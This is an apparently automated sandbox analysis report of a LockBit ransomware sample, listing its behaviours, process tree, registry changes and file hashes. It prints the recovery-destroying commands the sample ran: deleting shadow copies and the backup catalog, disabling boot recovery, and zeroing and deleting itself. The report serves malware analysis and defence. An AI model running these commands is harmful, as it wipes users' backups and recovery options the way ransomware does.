Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 1880 vssadmin.exe -
Modifies Control Panel 2 IoCs
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Control Panel\Desktop\WallpaperStyle = "2" 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Control Panel\Desktop\TileWallpaper = "0" 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe -
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exepid process 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exevssvc.exeWMIC.exewbengine.exedescription pid process Token: SeTakeOwnershipPrivilege 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe Token: SeDebugPrivilege 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe Token: SeBackupPrivilege 2008 vssvc.exe Token: SeRestorePrivilege 2008 vssvc.exe Token: SeAuditPrivilege 2008 vssvc.exe Token: SeIncreaseQuotaPrivilege 2732 WMIC.exe Token: SeSecurityPrivilege 2732 WMIC.exe Token: SeTakeOwnershipPrivilege 2732 WMIC.exe Token: SeLoadDriverPrivilege 2732 WMIC.exe Token: SeSystemProfilePrivilege 2732 WMIC.exe Token: SeSystemtimePrivilege 2732 WMIC.exe Token: SeProfSingleProcessPrivilege 2732 WMIC.exe Token: SeIncBasePriorityPrivilege 2732 WMIC.exe Token: SeCreatePagefilePrivilege 2732 WMIC.exe Token: SeBackupPrivilege 2732 WMIC.exe Token: SeRestorePrivilege 2732 WMIC.exe Token: SeShutdownPrivilege 2732 WMIC.exe Token: SeDebugPrivilege 2732 WMIC.exe Token: SeSystemEnvironmentPrivilege 2732 WMIC.exe Token: SeRemoteShutdownPrivilege 2732 WMIC.exe Token: SeUndockPrivilege 2732 WMIC.exe Token: SeManageVolumePrivilege 2732 WMIC.exe Token: 33 2732 WMIC.exe Token: 34 2732 WMIC.exe Token: 35 2732 WMIC.exe Token: SeIncreaseQuotaPrivilege 2732 WMIC.exe Token: SeSecurityPrivilege 2732 WMIC.exe Token: SeTakeOwnershipPrivilege 2732 WMIC.exe Token: SeLoadDriverPrivilege 2732 WMIC.exe Token: SeSystemProfilePrivilege 2732 WMIC.exe Token: SeSystemtimePrivilege 2732 WMIC.exe Token: SeProfSingleProcessPrivilege 2732 WMIC.exe Token: SeIncBasePriorityPrivilege 2732 WMIC.exe Token: SeCreatePagefilePrivilege 2732 WMIC.exe Token: SeBackupPrivilege 2732 WMIC.exe Token: SeRestorePrivilege 2732 WMIC.exe Token: SeShutdownPrivilege 2732 WMIC.exe Token: SeDebugPrivilege 2732 WMIC.exe Token: SeSystemEnvironmentPrivilege 2732 WMIC.exe Token: SeRemoteShutdownPrivilege 2732 WMIC.exe Token: SeUndockPrivilege 2732 WMIC.exe Token: SeManageVolumePrivilege 2732 WMIC.exe Token: 33 2732 WMIC.exe Token: 34 2732 WMIC.exe Token: 35 2732 WMIC.exe Token: SeBackupPrivilege 2904 wbengine.exe Token: SeRestorePrivilege 2904 wbengine.exe Token: SeSecurityPrivilege 2904 wbengine.exe -
Suspicious use of WriteProcessMemory 35 IoCs
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.execmd.execmd.exedescription pid process target process PID 1472 wrote to memory of 1836 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe cmd.exe PID 1472 wrote to memory of 1836 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe cmd.exe PID 1472 wrote to memory of 1836 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe cmd.exe PID 1472 wrote to memory of 1836 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe cmd.exe PID 1836 wrote to memory of 1880 1836 cmd.exe vssadmin.exe PID 1836 wrote to memory of 1880 1836 cmd.exe vssadmin.exe PID 1836 wrote to memory of 1880 1836 cmd.exe vssadmin.exe PID 1836 wrote to memory of 2732 1836 cmd.exe WMIC.exe PID 1836 wrote to memory of 2732 1836 cmd.exe WMIC.exe PID 1836 wrote to memory of 2732 1836 cmd.exe WMIC.exe PID 1836 wrote to memory of 2820 1836 cmd.exe bcdedit.exe PID 1836 wrote to memory of 2820 1836 cmd.exe bcdedit.exe PID 1836 wrote to memory of 2820 1836 cmd.exe bcdedit.exe PID 1836 wrote to memory of 2832 1836 cmd.exe bcdedit.exe PID 1836 wrote to memory of 2832 1836 cmd.exe bcdedit.exe PID 1836 wrote to memory of 2832 1836 cmd.exe bcdedit.exe PID 1836 wrote to memory of 2844 1836 cmd.exe wbadmin.exe PID 1836 wrote to memory of 2844 1836 cmd.exe wbadmin.exe PID 1836 wrote to memory of 2844 1836 cmd.exe wbadmin.exe PID 1472 wrote to memory of 2828 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe mshta.exe PID 1472 wrote to memory of 2828 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe mshta.exe PID 1472 wrote to memory of 2828 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe mshta.exe PID 1472 wrote to memory of 2828 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe mshta.exe PID 1472 wrote to memory of 2836 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe cmd.exe PID 1472 wrote to memory of 2836 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe cmd.exe PID 1472 wrote to memory of 2836 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe cmd.exe PID 1472 wrote to memory of 2836 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe cmd.exe PID 2836 wrote to memory of 3012 2836 cmd.exe PING.EXE PID 2836 wrote to memory of 3012 2836 cmd.exe PING.EXE PID 2836 wrote to memory of 3012 2836 cmd.exe PING.EXE PID 2836 wrote to memory of 3012 2836 cmd.exe PING.EXE PID 2836 wrote to memory of 2960 2836 cmd.exe fsutil.exe PID 2836 wrote to memory of 2960 2836 cmd.exe fsutil.exe PID 2836 wrote to memory of 2960 2836 cmd.exe fsutil.exe PID 2836 wrote to memory of 2960 2836 cmd.exe fsutil.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\pandora\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe"C:\Users\Admin\AppData\Local\Temp\pandora\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit-note.hta"2⤵
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\pandora\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\pandora\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\pandora\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe"3⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Desktop\LockBit-note.htaFilesize
17KB
MD5a1925f234967fa9a2421c1e5a73dc99b
SHA11cd00aca38a52ae13858033300b62b8769ae5cc4
SHA256004cec23690b7c65a21bfab262086a488b62ef02511299e1998eb29288ee251f
SHA5125baddb7c9e6b122f354ccd6a4a0c1ac7499f0d473a6794a770c279c55041e23c5b73f5554daf873504a5e830f60edefbe32770fc9a4bd6090863b8d304e6969a
-
memory/1472-54-0x0000000074F21000-0x0000000074F23000-memory.dmpFilesize
8KB
-
memory/1836-55-0x0000000000000000-mapping.dmp
-
memory/1880-56-0x0000000000000000-mapping.dmp
-
memory/2732-57-0x0000000000000000-mapping.dmp
-
memory/2820-58-0x0000000000000000-mapping.dmp
-
memory/2828-62-0x0000000000000000-mapping.dmp
-
memory/2832-59-0x0000000000000000-mapping.dmp
-
memory/2836-63-0x0000000000000000-mapping.dmp
-
memory/2844-61-0x000007FEFB971000-0x000007FEFB973000-memory.dmpFilesize
8KB
-
memory/2844-60-0x0000000000000000-mapping.dmp
-
memory/2960-67-0x0000000000000000-mapping.dmp
-
memory/3012-64-0x0000000000000000-mapping.dmp